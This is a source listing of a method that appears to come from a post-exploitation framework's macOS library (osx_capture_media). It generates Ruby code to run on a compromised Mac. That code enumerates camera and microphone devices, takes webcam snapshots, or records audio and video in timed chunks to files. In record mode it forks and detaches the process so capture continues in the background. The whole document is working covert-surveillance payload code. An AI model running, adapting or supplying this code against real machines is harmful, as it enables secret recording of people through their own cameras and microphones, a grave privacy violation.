47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
|
# File 'lib/msf/core/post/osx/ruby_dl.rb', line 47
def osx_capture_media(opts)
capture_code = <<-EOS
#{}
options = {
:action => '#{opts[:action]}', # or list|snapshot|record
:snap_filetype => '#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp
:audio_enabled => #{opts[:audio_enabled]},
:video_enabled => #{opts[:video_enabled]},
:num_chunks => #{opts[:num_chunks]}, # wachawa!
:chunk_len => #{opts[:chunk_len]}, # save chunks every 5 seconds
:video_device => #{opts[:video_device]}, # automatic
:audio_device => #{opts[:audio_device]},
:snap_jpg_compression => #{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY
:video_compression => '#{opts[:video_compression]}',
:audio_compression => '#{opts[:audio_compression]}',
:record_file => '#{opts[:record_file]}',
:snap_file => '#{opts[:snap_file]}'
}
RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
# NSTIFFFileType 0
# NSBMPFileType 1
# NSGIFFileType 2
# NSJPEGFileType 3
# NSPNGFileType 4
SNAP_FILETYPES = %w(tiff bmp gif jpg png)
snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
require 'fileutils'
FileUtils.mkdir_p File.dirname(options[:record_file])
FileUtils.mkdir_p File.dirname(options[:snap_file])
#### Helper methods for objc message passing
if not ruby_1_9_or_higher?
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
# so we have to reload the lib into separate modules with different
# exported typedefs, and patch objc_call to do our own typechecking.
# this can probably be done better.
module LibCWithInt
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, int, int)'
end
module LibCWithFloat
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, double, double)'
end
module LibCWithVoidPtrInt
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, void*, int)'
end
module LibCWithIntVoidPtr
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, int, void*)'
end
end
def objc_call(instance, method, arg=nil, arg2=nil)
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
# so we have to reload the lib into a separate with different exported typedefs,
# and call
if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
if not arg2.kind_of?(Integer) and not arg2.nil?
LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
else
LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
end
elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
else
QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
end
end
def objc_call_class(klass, method, arg=nil, arg2=nil)
objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
end
def nsstring(str)
objc_call(objc_call(objc_call_class(
'NSString', 'alloc'),
'initWithCString:', str),
'autorelease')
end
#### External dynamically linked code
VID_TYPE = 'vide'
MUX_TYPE = 'muxx'
AUD_TYPE = 'soun'
module QTKit
extend Importer
dlload 'QTKit.framework/QTKit'
extern 'void *objc_msgSend(void *, void *, void *, void*)'
extern 'void *sel_getUid(void*)'
extern 'void *objc_getClass(void *)'
end
#### Actual Webcam code
autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
vid_type = nsstring(VID_TYPE)
mux_type = nsstring(MUX_TYPE)
aud_type = nsstring(AUD_TYPE)
devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
device_count = objc_call(devices_ref, 'count').to_i
if device_count.zero? and not options[:actions] =~ /list/i
raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
exit
end
device_enum = objc_call(devices_ref, 'objectEnumerator')
devices = (0...device_count).
map { objc_call(device_enum, 'nextObject') }.
select do |device|
vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
vid or mux
end
device_enum = objc_call(devices_ref, 'objectEnumerator')
audio_devices = (0...device_count).
map { objc_call(device_enum, 'nextObject') }.
select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
def device_names(devices)
devices.
map { |device| objc_call(device, 'localizedDisplayName') }.
map { |name| objc_call(name, 'UTF8String') }.
map(&:to_s)
end
def device_stati(devices)
devices.
map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
map { |b| if b then 'BUSY' else 'AVAIL' end }
end
def print_devices(devices)
device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
puts "\#{i}. \#{d[0]} [\#{d[1]}]"
end
end
def print_compressions(type)
compressions = objc_call_class('QTCompressionOptions',
'compressionOptionsIdentifiersForMediaType:', type)
count = objc_call(compressions, 'count').to_i
if count.zero?
puts "No supported compression types found."
else
comp_enum = objc_call(compressions, 'objectEnumerator')
puts((0...count).
map { objc_call(comp_enum, 'nextObject') }.
map { |c| objc_call(c, 'UTF8String').to_s }.
join("\n")
)
end
end
def use_audio?(options)
options[:audio_enabled] and options[:action].to_s == 'record'
end
def use_video?(options)
(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
end
if options[:action].to_s == 'list'
if options[:video_enabled]
puts "===============\nVideo Devices:\n===============\n"
print_devices(devices)
puts "\nAvailable video compression types:\n\n"
print_compressions(vid_type)
end
puts "\n===============\nAudio Devices:\n===============\n"
print_devices(audio_devices)
puts "\nAvailable audio compression types:\n\n"
print_compressions(aud_type)
exit
end
# Create a session to add I/O to
session = objc_call_class('QTCaptureSession', 'new')
# open the AV devices
if use_video?(options)
video_device = devices[options[:video_device]]
if not objc_call(video_device, 'open:', nil).to_i > 0
raise 'Failed to open video device'
end
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
input = objc_call(input, 'initWithDevice:', video_device)
objc_call(session, 'addInput:error:', input, nil)
end
if use_audio?(options)
# open the audio device
audio_device = audio_devices[options[:audio_device]]
if not objc_call(audio_device, 'open:', nil).to_i > 0
raise 'Failed to open audio device'
end
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
input = objc_call(input, 'initWithDevice:', audio_device)
objc_call(session, 'addInput:error:', input, nil)
end
# initialize file output
record_file = options[:record_file]
output = objc_call_class('QTCaptureMovieFileOutput', 'new')
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
objc_call(output, 'recordToOutputFileURL:', file_url)
objc_call(session, 'addOutput:error:', output, nil)
# set up video/audio compression options
connection = nil
connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
media_type = objc_call(connection, 'mediaType')
compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
nsstring(options[:video_compression]))
elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
nsstring(options[:audio_compression]))
end
unless compress_opts.to_i.zero?
objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
end
end
# start capturing from the webcam
objc_call(session, 'startRunning')
# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
# wait until at least one frame has been captured
while objc_call(output, 'recordedFileSize').to_i < 1
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
end
if options[:action] == 'record' # record in a loop for options[:record_len] seconds
curr_chunk = 0
last_roll = Time.now
# wait until at least one frame has been captured
while curr_chunk < options[:num_chunks]
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
base = File.basename(record_file, '.*') # returns it with no extension
num = ((base.match(/\\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(record_file) || 'o'
record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
# redirect buffer output to new file path
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
objc_call(output, 'recordToOutputFileURL:', file_url)
# remember we hit a chunk
last_roll = Time.now
curr_chunk += 1
end
end
end
# stop recording and stop session
objc_call(output, 'recordToOutputFileURL:', nil)
objc_call(session, 'stopRunning')
# give QTKit some time to write to file
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
if options[:action] == 'snapshot' # user wants a snapshot
# read captured movie file into QTKit
dict = objc_call_class('NSMutableDictionary', 'dictionary')
objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
# grab a frame image from the move
m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
img = objc_call(m, 'currentFrameImage')
# set compression options
opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
nsstring('NSImageCompressionFactor')
)
# convert to desired format
bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
# # delete the original movie file
File.delete(options[:record_file])
end
objc_call(autorelease_pool, 'drain')
EOS
if opts[:action] == 'record'
capture_code = %Q|
cpid = fork do
#{capture_code}
end
Process.detach(cpid)
puts cpid
|
end
capture_code
end
|